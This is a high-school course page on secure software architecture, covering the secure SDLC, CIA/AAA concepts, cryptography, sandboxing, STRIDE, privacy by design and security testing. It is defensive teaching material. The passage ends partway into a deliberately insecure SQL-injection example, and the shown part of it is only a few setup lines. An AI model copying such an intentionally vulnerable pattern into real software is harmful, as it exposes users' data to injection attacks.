Resources
🛠️ Course Tools & Specifications 🔄 SDLC Guide 📖 Glossary
Year 12
🔒 Secure Software Architecture 🌐 Programming for the Web ⚙️ Software Automation 📋 Software Engineering Project
Year 11
📐 Programming Fundamentals 🧩 Object-Oriented Paradigm 🤖 Programming Mechatronics

🔒 Secure Software Architecture

Industry-recognised techniques for designing and developing secure software — from security-by-design principles and defensive coding to vulnerability management and the ethical ramifications of secure systems.

📘 Year 12 — HSC 🕐 ~10 weeks Outcomes: SE-12-01 to SE-12-08
Syllabus Part 1 🎨 Designing Software

🛡️ Benefits of Developing Secure Software

🎯 (SE-12-01, SE-12-05)

📌 Describe the benefits of developing secure software, including data protection and minimising cyber attacks and vulnerabilities.

🔒 Data Protection

Secure software design ensures that personal, financial, and proprietary data is protected from unauthorised access, modification, or destruction throughout its entire lifecycle — whether at rest in a database, in transit across a network, or in active use. Data encryption (e.g., AES-256 for stored data, TLS 1.3 for data in transit) makes intercepted data unreadable to attackers. Access controls ensure only authorised users can retrieve sensitive records. In Australia, the Privacy Act 1988 and its Australian Privacy Principles (APPs) impose legal obligations on organisations to protect personal information — failure results in significant financial penalties and mandatory breach notifications under the Notifiable Data Breaches (NDB) scheme. Beyond legal compliance, effective data protection builds user trust, which is increasingly a critical competitive advantage. A single publicised data breach can permanently destroy a brand's reputation and cause lasting customer attrition.

🛡️ Minimising Cyber Attacks and Vulnerabilities

Every software vulnerability — an unintended weakness in code — represents a potential entry point for a cyber attacker. Proactively designing software to minimise vulnerabilities dramatically reduces the attack surface: the total number of possible ways an attacker could interact with or compromise a system. This is achieved through secure coding practices (input validation, parameterised queries, output encoding), regular security testing (SAST, DAST, penetration testing), and timely patching of dependencies. The economic impact of cyber attacks is severe: IBM's 2023 Cost of a Data Breach Report found the average breach cost AU$6.5 million — including incident response, legal fees, regulatory fines, and lost business. Secure software development converts this reactive, crisis-driven cost into a predictable, manageable investment in engineering quality. Additionally, minimising vulnerabilities reduces an organisation's exposure to reputational damage, intellectual property theft, and the operational disruption of ransomware attacks that can halt business operations entirely.


🔄 Applying the SDLC to Develop Secure Code

🎯 (SE-12-01, SE-12-06)

📌 Interpret and apply the fundamental software development steps to engineer secure code. Security must be embedded into every phase of the Software Development Life Cycle (SDLC) — a principle known as DevSecOps — rather than treated as a final checkbox before release.

1

📝 Requirements Definition

The team identifies the problem, the target audience, and the critical security and regulatory compliance needs (e.g., Australian Privacy Principles, GDPR) before any architecture is planned. Security requirements must be explicit at this stage — not assumed. For example, a hospital booking system must define that patient medical records are strictly confidential, accessible only to authorised practitioners, and that all access must be audit-logged. Tools used: Storyboards map secure user navigation flows; Process Diaries log initial stakeholder meetings and security constraints.

2

📋 Determining Specifications

Defining the precise technical boundaries, hardware constraints, and cryptographic protocols to be used (e.g., AES-256 for storage, TLS 1.3 for transit, bcrypt for password hashing). Specifications must include the maximum input lengths, permitted character sets, and data formats for every user-facing field. A Data Dictionary is created at this stage to define the exact size, format, type, and validation rules for every data field — for example, specifying that a password hash field stores exactly 60 characters in bcrypt format, preventing buffer overflow vulnerabilities from incorrectly sized fields.

3

🎨 Design

Creating the blueprint for the secure software architecture. This involves threat modelling — systematically identifying all possible attack vectors against the system using frameworks such as STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege). The design phase applies "Security by Design" so security controls are built into the architecture, not bolted on afterward. For example, the authentication flow is designed to automatically lock an account after five failed attempts to prevent brute-force attacks. Tools: Data Flow Diagrams (DFDs) track how sensitive data moves between user, server, and database; Structure Charts map the hierarchy of secure modules; Decision Trees model complex authorisation logic.

4

💻 Development

The coding phase where programmers apply defensive data input handling, input sanitisation, parameterised queries, and secure session management in every function that handles external data. Developers follow secure coding standards (e.g., OWASP Top 10 guidance) and use version control (Git) to track every change with a full audit trail. For example, all database queries use parameterised statements rather than string concatenation, completely eliminating SQL injection vulnerabilities. IDE debugging tools — breakpoints, watches, and single-line stepping — are used to trace the execution of security-critical logic.

5

🧩 Integration

Combining isolated modules and connecting the software to external services safely. This phase ensures that internal microservices and third-party APIs exchange data securely — API keys must never appear in client-side code or version control history. For example, integrating a payment gateway (such as Stripe) uses OAuth 2.0 tokens so the main application never handles raw credit card numbers — liability and PCI-DSS scope are reduced significantly. CI/CD (Continuous Integration/Continuous Deployment) pipelines run automated security scans on every code merge to catch newly introduced vulnerabilities before they reach production.

6

🐛 Testing and Debugging

Rigorously evaluating the software to expose vulnerabilities before deployment. Code is tested against malformed, boundary-exceeding, and malicious inputs to ensure it fails securely — never exposing internal stack traces or system information to the user. For example, sending massive randomised strings into web forms tests for buffer overflow susceptibility; submitting SQL metacharacters tests injection prevention; simulating concurrent requests tests for race conditions. SAST tools scan the source code statically; DAST tools attack the running application from the outside; penetration testers simulate real-world attacker techniques.

7

📦 Installation

Deploying the software to the live production environment with a hardened configuration. "Hardening" involves closing all unused network ports, disabling default accounts and guest access, removing development tools and debug interfaces from production builds, and configuring firewalls and intrusion detection systems. For example, a web application is deployed behind a Web Application Firewall (WAF) within a Demilitarised Zone (DMZ), with all server communication over encrypted SSH channels. The principle of least privilege is applied — the application's database user account has only the specific permissions required to function, not full administrative rights.

8

🛠️ Maintenance

The longest phase of the SDLC. Involves continuous security monitoring via Security Information and Event Management (SIEM) dashboards, responding to newly discovered vulnerabilities in third-party dependencies, rotating cryptographic keys on schedule, and developing and deploying patches for zero-day exploits. For example, when a critical vulnerability (CVE) is published in an open-source library the application depends on, an emergency patch is developed, tested, and deployed within 24–48 hours. Log Books and Process Diaries meticulously document every breach response action and recovery procedure for regulatory compliance and post-incident review.

🔐 Flowchart - Secure SDLC

Security gates at each development phase

This flowchart shows the Secure SDLC with mandatory security review gates at each phase: requirements security review, threat modeling at design, code review before development, and penetration testing before deployment. The feedback loops demonstrate how security issues must be resolved before proceeding.

flowchart TD A["📋 Requirements Analysis
Identify features"] --> B{"🔐 Security Review
Threats assessed?"} B -- Issues --> B1["🔧 Resolve
security gaps"] B1 --> B B -- Approved --> C["🎨 Design Phase
Plan architecture"] C --> D{"⚠️ Threat Modelling
Attack vectors clear?"} D -- Vulnerabilities --> D1["🛡️ Harden design"] D1 --> D D -- Secure --> E["💻 Development
Write code"] E --> F{"👀 Code Review
Security audit clean?"} F -- Issues --> F1["🐛 Fix
vulnerabilities"] F1 --> E F -- Passed --> G["🧪 Security Testing
Pen testing"] G --> H{"🎯 Penetration Test
Exploits resolved?"} H -- Vulnerabilities --> H1["🔧 Patch & retest"] H1 --> G H -- Secure --> I(["🚀 Deployment
Go live"]) I --> J(["🔔 Monitoring
Continuous security watch"]) classDef phase fill:#e3f2fd,stroke:#1976D2,stroke-width:2px classDef decision fill:#fff9c4,stroke:#F57F17,stroke-width:2px classDef fix fill:#fff3e0,stroke:#E65100,stroke-width:2px classDef release fill:#e8f5e9,stroke:#2E7D32,stroke-width:2px class A,C,E,G phase class B,D,F,H decision class B1,D1,F1,H1 fix class I,J release

Purpose: Show security integrated into every SDLC phase, not added later. Yellow gates require security sign-off before proceeding.
Syllabus Link: SE-12-06
Try This: Compare costs: fixing a bug at requirements vs. production. Security investments pay huge dividends!


👤 How End-User Capabilities Influence Secure Design

🎯 (SE-12-01, SE-12-07)

📌 Describe how the capabilities and experience of end users influence the secure design features of software.

A technically perfect security system that users cannot or will not use correctly provides no real protection. Engineers must design security features that are robust and usable — the two goals must be balanced, not traded off against each other.

🔰 Novice Users

Users with low technical literacy require guided, intuitive security flows. If a password policy demands 16+ characters with special symbols but provides no password strength indicator, users will choose simple, guessable passwords or reuse passwords from other sites. Design response: embed real-time password strength meters, offer integration with password managers, and use biometric authentication (fingerprint, Face ID) to eliminate the password burden entirely where appropriate.

🎓 Experienced Users

Technical users may bypass restrictive security controls if they impede productivity — for example, using shared accounts to avoid repeated MFA prompts. Design response: offer trusted device registration (so MFA is only required on new devices), provide API token access for developers rather than forcing GUI logins, and support hardware security keys (FIDO2/WebAuthn) for the fastest and most secure authentication experience.

♿ Users with Disability

CAPTCHA challenges that rely on image recognition or audio discrimination may be inaccessible to users with visual or auditory impairments. Time-limited security prompts may disadvantage users with cognitive or motor disabilities. Design response: provide alternative accessible CAPTCHA options, extend timeout periods, ensure all security flows are keyboard-navigable, and test with screen readers to verify accessibility.

📱 Context of Use

A user completing a mobile banking transaction in a noisy, public environment cannot safely respond to an SMS-based OTP if their phone screen is visible to bystanders. Engineers must consider the physical and social context in which security features are used — offering push notification authentication (tap to approve on a trusted device) rather than displaying a readable code on screen in high-risk public contexts.

Key Principle: Security features that users consistently bypass or disable provide zero actual protection. The most secure solution is the one users will actually engage with correctly — design must account for real human behaviour, not idealised behaviour.
Syllabus Part 2 💻 Developing Secure Code

🔐 Fundamental Software Design Security Concepts

🎯 (SE-12-04)

📌 Explore the six fundamental security concepts that underpin all secure software design decisions.

🔒 Confidentiality

Ensuring data is accessible only to authorised entities. Implementation: Data encryption (AES-256 at rest; TLS 1.3 in transit), role-based access control (RBAC), and data classification policies that restrict who can query which database tables. Example: Patient medical records in a hospital system are encrypted and accessible only to the treating clinician — even database administrators cannot view the plaintext content.

✅ Integrity

Guaranteeing that data has not been maliciously or accidentally altered without detection. Implementation: Cryptographic hashing (SHA-256, SHA-3) generates a unique fingerprint of data; any modification produces a completely different hash, immediately revealing tampering. Digital signatures further bind the hash to a verified sender. Example: A software update package is published with its SHA-256 hash; users verify the hash after downloading to confirm the file has not been corrupted or modified by an attacker.

⚡ Availability

Ensuring that systems remain operational and accessible to authorised users when needed. Implementation: Redundant server infrastructure, load balancers, DDoS mitigation services (e.g., Cloudflare), rate limiting, and disaster recovery plans with defined Recovery Time Objectives (RTOs). Example: A banking platform uses auto-scaling cloud infrastructure to absorb traffic spikes during tax season, and Cloudflare absorbs volumetric DDoS attacks before they reach the application servers.

🪪 Authentication

Verifying the identity of a user or system before granting access. Implementation: Password hashing (bcrypt with salt), Multi-Factor Authentication (MFA — something you know + something you have/are), biometrics, and hardware security keys. Example: A corporate VPN requires employees to enter their password and then approve a push notification on their registered smartphone — two independent factors that an attacker would need to compromise simultaneously.

🔑 Authorisation

Determining what an authenticated user is permitted to do — enforcing the principle of least privilege. Implementation: Role-Based Access Control (RBAC) assigns permissions to roles (Admin, Editor, Viewer) rather than individuals; users are assigned the minimum role required for their function. Example: A content management system grants "Editor" users the ability to create and edit posts, but not to delete them or manage other user accounts — those actions are restricted to the "Admin" role.

📋 Accountability

Tracing every action back to a specific authenticated user through immutable audit logs, ensuring non-repudiation — a user cannot deny having performed an action that was logged. Implementation: Append-only audit log tables recording user ID, timestamp, action type, and affected resource for every sensitive operation. Example: A financial system records every account transfer with the authenticated user's ID, the exact timestamp, source account, destination account, and amount — providing an unalterable chain of evidence for forensic investigation.

⚠️ Diagram - Risk Assessment

Identifying vulnerabilities through CIA framework

This diagram maps security threats to fundamental security principles. The CIA Triad (Confidentiality, Integrity, Availability) plus Authentication and Accountability form the foundation of security assessment. Common threats like phishing, malware, and DoS attacks target specific aspects of this framework, helping identify where vulnerabilities and risks exist.

graph TB subgraph CIA["The CIA Triad + AAA"] CONF["🔒 Confidentiality
Data Privacy
Unauthorized Access"] INT["✅ Integrity
Data Accuracy
Tampering/Modification"] AVAIL["⚡ Availability
Uptime/Service
DoS/Outages"] end subgraph AAA["Authentication + Accountability"] AUTH["🪪 Authentication
Verify Identity
Impersonation"] AUTHZ["🔑 Authorisation
Access Control
Privilege Escalation"] ACC["📋 Accountability
Audit Trail
Denial of Action"] end subgraph Threats["Common Attack Vectors"] T1["Data Breach:
CONF Risk"] T2["SQL Injection:
INT Risk"] T3["DDoS Attack:
AVAIL Risk"] T4["Credential Theft:
AUTH Risk"] T5["Unauthorized Escalation:
AUTHZ Risk"] T6["Audit Log Deletion:
ACC Risk"] end subgraph Controls["Mitigating Controls"] M1["🔐 Encryption"] M2["🔗 Digital Signatures"] M3["🛡️ DDoS Protection"] M4["🔑 MFA"] M5["👥 RBAC"] M6["📝 Immutable Logs"] end T1 -->|Mitigate| M1 T2 -->|Mitigate| M2 T3 -->|Mitigate| M3 T4 -->|Mitigate| M4 T5 -->|Mitigate| M5 T6 -->|Mitigate| M6 style CIA fill:#FFE082,stroke:#F57F17,stroke-width:2px style AAA fill:#BBDEFB,stroke:#1976D2,stroke-width:2px style Threats fill:#FFCCBC,stroke:#E64A19,stroke-width:2px style Controls fill:#C8E6C9,stroke:#2E7D32,stroke-width:2px

Purpose: Map common security threats to the six fundamental security concepts and identify appropriate mitigating controls
Syllabus Link: SE-12-04
Try This: Identify which security concept (CIA+AAA) would be violated by a replay attack, and propose a technical control to prevent it


🏗️ Security by Design: Cryptography and Sandboxing

🎯 (SE-12-03, SE-12-04)

📌 Use and explain the contribution of cryptography and sandboxing to the "security by design" approach, and apply security features including data protection, security, privacy, and regulatory compliance.

🔐 Cryptography in Security by Design

Cryptography is the practice of securing information by transforming it into an unreadable form for anyone who does not hold the decryption key. In security-by-design, cryptography is not an optional add-on — it is specified in the requirements phase and embedded in the architecture from the first line of code.

🔒 Symmetric EncryptionThe same key is used for both encryption and decryption (e.g., AES-256). Extremely fast — suited for encrypting large volumes of data at rest such as database fields, disk volumes, or file archives. The key distribution challenge (how do both parties safely share the same key?) is solved by asymmetric encryption.
🔑 Asymmetric EncryptionUses a mathematically linked key pair — a public key (freely shared, used to encrypt) and a private key (secret, used to decrypt). RSA-2048 and ECC are common algorithms. Used in TLS handshakes to securely exchange a symmetric session key at the start of every HTTPS connection, and in digital signatures to verify identity.
#️⃣ HashingA one-way mathematical function producing a fixed-length fingerprint (hash) of any input — impossible to reverse. SHA-256 produces a 64-character hex string. Used for password storage (bcrypt adds a random salt before hashing to prevent rainbow table attacks), verifying file integrity, and digital signatures.
✍️ Digital SignaturesThe sender hashes their message, then encrypts the hash with their private key — the result is the signature. The recipient decrypts it with the sender's public key and compares it to their own hash of the message. A match proves authenticity and integrity, providing non-repudiation.

🧪 Sandboxing in Security by Design

Sandboxing executes potentially untrusted code in a strictly isolated, restricted environment that has no access to the host operating system, filesystem, network, or other running processes unless explicitly permitted. If the sandboxed code is malicious or compromised, it cannot escape the sandbox to cause broader harm. Security-by-design embeds sandboxing as an architectural decision for any component that handles untrusted external input.

🌐 Browser Sandboxing

Each browser tab runs in its own sandboxed process, isolated from the operating system and other tabs. A malicious website cannot read files from your hard drive or access memory used by your banking tab. This is sandboxing applied at the operating system level — foundational to web security.

📦 Container Isolation

Docker containers sandbox applications from each other on the same server. A compromised web application container cannot access the database container's files or the host's root filesystem. This limits the blast radius of a successful attack to a single isolated service.

🔬 Code Execution Sandboxes

Online coding platforms (e.g., Replit, LeetCode) execute user-submitted code inside sandboxes — preventing a malicious user's code from reading other users' data or compromising the host server. The sandbox enforces CPU time limits, memory limits, and network access restrictions.

STRIDE Threat Modelling Process

STRIDE is a structured framework for systematically identifying threats to a system. Each letter represents a category of threat that an attacker might exploit. The process follows a repeatable cycle that teams apply to every component in a Data Flow Diagram.

STRIDE Threat Modelling Process
================================
[Identify Assets]
       |
       v
[Create Data Flow Diagram]
       |
       v
[Apply STRIDE Categories]
  S - Spoofing Identity
  T - Tampering with Data
  R - Repudiation
  I - Information Disclosure
  D - Denial of Service
  E - Elevation of Privilege
       |
       v
[Rate Each Threat] --> [Low]    --> [Document & Monitor]
       |
       +-----------> [Medium] --> [Mitigate in Next Sprint]
       |
       +-----------> [High]   --> [Fix Before Release]
       |
       v
[Implement Controls]
       |
       v
[Verify & Retest]
          

🎯 Threat Model - Web Application

Identifying attack vectors in data flow

This diagram shows common attack vectors at each stage of data flow in a web application: XSS in the browser, MITM attacks over the network, SQL injection at the database layer, and authentication bypass. Each threat is paired with concrete mitigation strategies to demonstrate defense-in-depth principles.

graph TB User["👤 User
Browser"] Network["🌐 Network
Internet"] Server["🖥️ Web Server
Application"] DB["💾 Database
User Data"] Auth["🔐 Auth Service
Session Token"] User -->|1. XSS Risk:
Malicious Scripts| Network Network -->|2. Man-in-Middle:
Unencrypted Data| Server Server -->|3. SQL Injection
Malformed Query| DB Server -->|4. Auth Bypass
Token Forgery| Auth DB -.->|Data Breach
Exposed Records| Network MITIGATIONS[/"🛡️ MITIGATIONS
• HTTPS/TLS Encryption
• Input Validation & Sanitisation
• Parameterised Queries
• JWT Token Validation
• Rate Limiting & WAF
• Database Encryption"/] style User fill:#E3F2FD,stroke:#1976D2 style Network fill:#FFF9C4,stroke:#F57F17 style Server fill:#FFE082,stroke:#F57F17 style DB fill:#FFCCBC,stroke:#E64A19 style Auth fill:#F8BBD0,stroke:#C2185B style MITIGATIONS fill:#C8E6C9,stroke:#2E7D32,stroke-width:2px

Purpose: Identify attack vectors at each stage of a web application's data flow and map mitigations to each threat
Syllabus Link: SE-12-03, SE-12-04
Try This: Create a threat model for a banking app, identifying threats at login, fund transfer, and transaction history retrieval stages

🔐 Data Flow Diagram - Secure System (Level 0)

Security controls embedded in architecture

This Level 0 Data Flow Diagram shows a secure system architecture with security controls integrated at each point: TLS encryption for network communication, OAuth for authentication, parameterized queries to prevent SQL injection, and audit logging for accountability. It demonstrates how security-by-design principles ensure data protection throughout the system.

graph LR Customer["👤 CUSTOMER
─────────
External Entity"] Browser(("🌐 Web App
─────────
Process")) APIGw(("🛡️ API Gateway
SSL/TLS
─────────
Process")) AuthSvc(("🔐 Auth Service
Verify Token
─────────
Process")) AppServer(("🖥️ App Server
Business Logic
─────────
Process")) DataStore[("💾 Encrypted DB
AES-256
─────────
Data Store")] LogStore[("📝 Audit Logs
Immutable
─────────
Data Store")] ExtAPI["📡 Payment API
OAuth 2.0
─────────
External Entity"] Customer -->|HTTPS Request| Browser Browser -->|Encrypted TLS| APIGw APIGw -->|Token Valid?| AuthSvc AuthSvc -->|Session OK| APIGw APIGw -->|Sanitised Data| AppServer AppServer -->|Parameterised Query| DataStore DataStore -->|User Records| AppServer AppServer -->|Log: User Action| LogStore AppServer -->|OAuth Token| ExtAPI ExtAPI -->|Payment Status| AppServer AppServer -->|JSON Response| Browser Browser -->|Rendered Page| Customer style Customer fill:#E3F2FD,stroke:#1976D2,stroke-width:2px style Browser fill:#FFF9C4,stroke:#F57F17,stroke-width:2px style APIGw fill:#FFCCBC,stroke:#E64A19,stroke-width:2px style AuthSvc fill:#F8BBD0,stroke:#C2185B,stroke-width:2px style AppServer fill:#FFE082,stroke:#F57F17,stroke-width:2px style DataStore fill:#C8E6C9,stroke:#2E7D32,stroke-width:3px style LogStore fill:#FFE0B2,stroke:#E65100,stroke-width:2px style ExtAPI fill:#E1BEE7,stroke:#7B1FA2,stroke-width:2px

Purpose: Model the secure data flow through a modern web system using Level 0 DFD notation. External Entities are external users/systems; Processes include all application components; Data Stores hold persistent data; Data Flows show movement with security controls (TLS, OAuth, encryption)
Syllabus Link: SE-12-02
Try This: Create a Level 0 DFD for a hospital patient management system, showing how patient records flow through the system with encrypted storage and access logs


🔏 Privacy by Design

🎯 (SE-12-04, SE-12-05)

📌 Use and explain the "privacy by design" approach in the development of software solutions, including a proactive approach, embedding privacy into design, and respect for user privacy.

Privacy by Design (PbD), developed by Dr Ann Cavoukian, is a framework that treats privacy not as a legal compliance afterthought, but as a fundamental design requirement embedded into the architecture of software systems from the outset. It is now codified in major privacy legislation including the GDPR (Article 25) and increasingly referenced in Australian Privacy Act reforms.

🎯 Proactive Not Reactive Approach

A proactive approach means anticipating and preventing privacy violations before they occur, rather than detecting and remedying them after the fact. In practice, this means conducting a Privacy Impact Assessment (PIA) during the requirements phase — before architecture is finalised — to identify every point at which personal data enters, is processed, stored, or exits the system. Each data flow is scrutinised: Is this data actually necessary? Could we achieve the same outcome with anonymised or aggregated data? Could we collect less? By identifying and eliminating unnecessary data collection before code is written, engineers prevent entire categories of privacy risk from ever materialising. For example, a fitness app that collects precise GPS location for route tracking should ask: can we achieve the feature with neighbourhood-level precision rather than exact coordinates? Reducing data granularity proactively reduces the consequences of any future breach.

🏗️ Embedding Privacy into Design

Privacy must be the default setting of the system — requiring no action from the user to be protected. The most privacy-respecting option must be the path of least resistance. This principle directly counters the industry-wide practice of defaulting to maximum data collection and sharing, requiring users to navigate complex settings menus to opt out. Specific design implementations include: new social media profiles default to private; marketing email preferences default to unsubscribed; location sharing defaults to off; analytics tracking requires explicit opt-in consent, not pre-ticked boxes. Privacy-preserving defaults are required by the GDPR and are becoming standard under the Australian Privacy Act. Architecturally, data minimisation (collecting only what is genuinely necessary) and purpose limitation (using data only for the stated collection purpose, not secondary commercial uses) must be enforced at the database schema level — if a field does not exist, it cannot be misused or breached.

👤 Respect for User Privacy

Systems must offer users meaningful, granular, and genuinely exercisable control over their personal data. This is distinguished from performative compliance (lengthy privacy policies that nobody reads) by providing real mechanisms for data agency:

🎛️ Granular Consent ControlsCookie consent banners must allow users to independently accept functional cookies while rejecting analytics or advertising cookies — not force an all-or-nothing choice. Consent must be freely given, specific, informed, and unambiguous — a pre-ticked box does not constitute valid consent under GDPR or Australian law.
📤 Data PortabilityUsers have the right to export their own data in a standard, machine-readable format (e.g., JSON, CSV) and migrate it to a competing service. This prevents vendor lock-in through data hoarding and empowers users to exercise genuine control. Google Takeout and Apple's Data and Privacy portal are examples.
🗑️ Right to ErasureUsers must be able to request deletion of their personal data (the "right to be forgotten"), and the system must be architecturally capable of honouring this — requiring cascading deletes across all databases, backups, and logs that hold the user's data. Systems that cannot delete data have failed the privacy-by-design principle at the architecture level.
🚫 No Dark PatternsUser interfaces must not use manipulative design (dark patterns) to obscure privacy controls — such as making the "Reject All" button tiny and grey while the "Accept All" button is large and brightly coloured, or burying privacy settings five menus deep. Respect requires friction-free access to privacy controls.

🩹 Testing Security, Resilience, and Business Continuity

🎯 (SE-12-06, SE-12-08)

📌 Test and evaluate the security and resilience of software by determining vulnerabilities, hardening systems, handling breaches, maintaining business continuity, and conducting disaster recovery.

🔍 Determining Vulnerabilities

Vulnerabilities must be identified before attackers find them. Engineers conduct vulnerability assessments — systematic scans of the application and its infrastructure to catalogue all known weaknesses (unpatched software, misconfigured services, exposed admin interfaces, default credentials). Vulnerability scanners (e.g., Nessus, OpenVAS) produce prioritised lists of findings rated by CVSS (Common Vulnerability Scoring System) severity. These findings are then remediated in priority order — critical vulnerabilities (CVSS 9.0–10.0) within 24 hours; high (7.0–8.9) within 7 days; medium within 30 days.

🛡️ Hardening Systems

System hardening reduces the attack surface by eliminating everything that is not strictly necessary for the system's function. A hardened production server has: all unnecessary network ports closed by firewall rules; all unused software packages, services, and user accounts removed; default passwords and credentials changed; logging enabled for all administrative actions; and automatic security updates configured. A hardened web application has: Content Security Policy (CSP) headers preventing unauthorised script execution; HTTP Strict Transport Security (HSTS) preventing protocol downgrade attacks; security headers (X-Frame-Options, X-Content-Type-Options) blocking clickjacking and MIME sniffing attacks.

🩹 Handling Breaches

An Incident Response Plan (IRP) defines the pre-agreed, structured process for managing a detected security breach: (1) Containment — immediately isolate affected systems to prevent lateral movement (e.g., take the compromised server offline, revoke compromised credentials). (2) Eradication — identify and remove the root cause (malware, backdoor, compromised account). (3) Recovery — restore systems from known-good backups and verify integrity before bringing them back online. (4) Post-Incident Review — document what happened, how it was detected, how long it took to contain, and what changes will prevent recurrence. Under Australia's NDB scheme, organisations must notify affected individuals and the Office of the Australian Information Commissioner (OAIC) within 30 days of becoming aware of an eligible breach.

🏢 Business Continuity and Disaster Recovery

Business Continuity Planning (BCP) ensures that critical business functions can continue during and after a major incident — whether a cyber attack, natural disaster, or infrastructure failure. Key metrics: RTO (Recovery Time Objective) — the maximum acceptable downtime (e.g., 4 hours); RPO (Recovery Point Objective) — the maximum acceptable data loss (e.g., 1 hour of transactions). Achieving these targets requires: geographically redundant server infrastructure; automated failover to standby systems; regular off-site encrypted backups with verified restoration procedures; and documented, regularly practised disaster recovery drills so that the response under pressure is familiar, not improvised.


🧪 Security Testing and Management Strategies

🎯 (SE-12-06, SE-12-08)

📌 Apply and evaluate strategies used by software developers to manage the security of programming code, including code review, SAST, DAST, vulnerability assessment, and penetration testing.

Strategy How It Works Strengths Limitations
Code Review A human engineer manually reads and evaluates another developer's code, checking for security flaws, logic errors, and adherence to secure coding standards before the code is merged. Finds complex logical vulnerabilities and business logic flaws that automated tools cannot detect. Builds collective security knowledge across the team. Documents security decisions. Time-intensive and expensive. Reviewer fatigue on large codebases. Dependent on reviewer's security expertise — less experienced reviewers may miss subtle vulnerabilities.
SAST (Static Application Security Testing) Analyses source code, bytecode, or binaries without executing the program — scanning for known vulnerability patterns such as SQL injection, hardcoded credentials, and buffer overflows. Fast; can scan entire codebase in minutes. Integrates into CI/CD pipelines for automatic scanning on every code commit. No running application required. High false positive rate — flags many issues that are not actually exploitable. Cannot detect runtime-dependent vulnerabilities (e.g., authentication bypasses that depend on server state). Requires tuning to reduce noise.
DAST (Dynamic Application Security Testing) Attacks the running application from the outside — simulating how an external attacker would interact with it — sending malformed inputs, attempting injection attacks, and testing authentication flows. Finds runtime vulnerabilities invisible to source code analysis. Tests the actual deployed configuration, not just the code. Lower false positive rate than SAST — if DAST finds it, it is real. Requires a running application. Slower than SAST. Cannot see inside the application — may miss code paths that DAST probes don't reach. Can generate disruptive test traffic in production.
Vulnerability Assessment A systematic process of identifying, quantifying, and prioritising all known vulnerabilities in a system — including the application, its dependencies, operating system, and network configuration — using automated scanners and manual review. Comprehensive coverage of known vulnerability catalogue (CVE database). Produces prioritised remediation roadmap. Suitable for regular compliance reporting. Only finds known vulnerabilities — cannot identify novel zero-day exploits. Does not attempt to exploit vulnerabilities, so may overestimate risk for theoretical weaknesses that are not actually exploitable in context.
Penetration Testing Authorised security professionals (ethical hackers) actively attempt to exploit vulnerabilities in a system, simulating the techniques of a real attacker to prove whether weaknesses can actually be breached and assess their real-world impact. Proves actual exploitability — not just theoretical risk. Tests the effectiveness of security controls under realistic attack conditions. Finds novel attack chains that combine multiple vulnerabilities. Required for many regulatory compliance frameworks. Expensive and time-consuming — typically performed annually or after major changes. Scope is limited by time and cost. Testers' skill and methodology vary significantly between providers.

🧪 Security Testing Strategy Comparison Matrix

graph TB subgraph CostTime["Cost & Time"] CT1["Code Review:
Medium-High Cost
Manual & Slow"] CT2["SAST:
Low Cost
Automated & Fast"] CT3["DAST:
Medium Cost
Medium Speed"] CT4["Vuln Assessment:
Medium Cost
Medium Speed"] CT5["Penetration Testing:
High Cost
Very Slow"] end subgraph Coverage["Vulnerability Coverage"] C1["CR: Complex Logic
🟢 Excellent"] C2["SAST: Patterns
🟡 Good (FP)"] C3["DAST: Runtime
🟢 Real Issues"] C4["VA: Known CVEs
🟡 Complete"] C5["PT: Novel Chains
🟢 Most Realistic"] end subgraph Context["Test Context"] X1["CR: Before Deploy
Code Level"] X2["SAST: Before Deploy
Code Level"] X3["DAST: Live App
Network Level"] X4["VA: Infrastructure
System Level"] X5["PT: Full System
Real Attack"] end Decision["🎯 RECOMMENDATION
Use All Methods!
Layered Defense"] CT1 -.-> Decision CT2 -.-> Decision CT3 -.-> Decision CT4 -.-> Decision CT5 -.-> Decision style CostTime fill:#FFE082,stroke:#F57F17,stroke-width:2px style Coverage fill:#FFF9C4,stroke:#F57F17,stroke-width:2px style Context fill:#BBDEFB,stroke:#1976D2,stroke-width:2px style Decision fill:#C8E6C9,stroke:#2E7D32,stroke-width:2px

Purpose: Understand the strengths, costs, and coverage of different security testing approaches to make informed decisions about which to use
Syllabus Link: SE-12-06, SE-12-08
Try This: Plan a security testing budget for a startup web app by choosing which combination of testing methods provides the best value

Practical Security Testing Checklist

The following table provides a practical checklist of security tests that developers should run at each stage of development. Many can be automated and integrated into CI/CD pipelines.

Test Type Tool / Method What It Checks When to Run
Static Analysis bandit (Python) Scans source code for common security issues: hardcoded passwords, use of weak cryptography, SQL injection patterns, insecure use of eval(), and subprocess injection. On every commit via CI/CD pipeline; before every pull request merge.
Dependency Scanning safety (Python) Checks all installed packages against a database of known vulnerabilities (CVEs). Flags libraries with unpatched security issues so they can be updated before deployment. On every commit; also run weekly to catch newly disclosed CVEs in existing dependencies.
Input Fuzzing Manual / hypothesis library Sends unexpected, malformed, boundary-exceeding, and randomised inputs to functions and API endpoints to expose crashes, unhandled exceptions, and input validation gaps. During development of any function that processes external input; before major releases.
Authentication Testing Manual / Burp Suite Verifies that authentication controls enforce lockout after failed attempts, reject weak passwords, invalidate sessions on logout, and resist brute-force and credential-stuffing attacks. When authentication logic is modified; as part of pre-release security review.
Session Management Testing Manual / browser dev tools Checks that session tokens are sufficiently random, transmitted only over HTTPS, expire after inactivity, are invalidated on logout, and are not exposed in URLs or logs. When session handling code changes; before every production deployment.
Bash — Install and Run Static Analysis + Dependency Scanning
pip install bandit safety && bandit -r . && safety check

⌨️ Defensive Coding and Safe API Design

🎯 (SE-12-02, SE-12-07)

📌 Design, develop and implement code using defensive data input handling practices, including input validation, sanitisation, and error handling; and design, develop and implement a safe API to minimise software vulnerabilities.

✅ Input Validation

Input validation checks that all data received from external sources conforms to the expected format, type, length, and range before it is processed or stored. Validation must happen server-side — client-side validation is a UX convenience only; it can be bypassed by an attacker sending direct HTTP requests. Validation rules should be strict: if a field expects a 4-digit integer, reject anything that is not a 4-digit integer — including any string longer than 4 characters, any non-numeric character, and any value outside the permitted range.

🧹 Sanitisation and Error Handling

Sanitisation transforms potentially malicious input into a safe form for use in the specific context where it will appear — HTML encoding for output in web pages, parameterised queries for database operations, path normalisation for file system operations. Error handling must never expose internal system details to the user — stack traces, database connection strings, server paths, or version information all provide attackers with a map of the system architecture.

HSC Exam Tip: When asked about preventing SQL injection, always mention BOTH parameterised queries AND input validation — one protects the database, the other prevents bad data entering the system.
Python — Parameterised SQL Queries (Vulnerable vs Secure)
import sqlite3

# VULNERABLE - Never do this! (SQL Injection risk)
def get_user_unsafe(username):
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
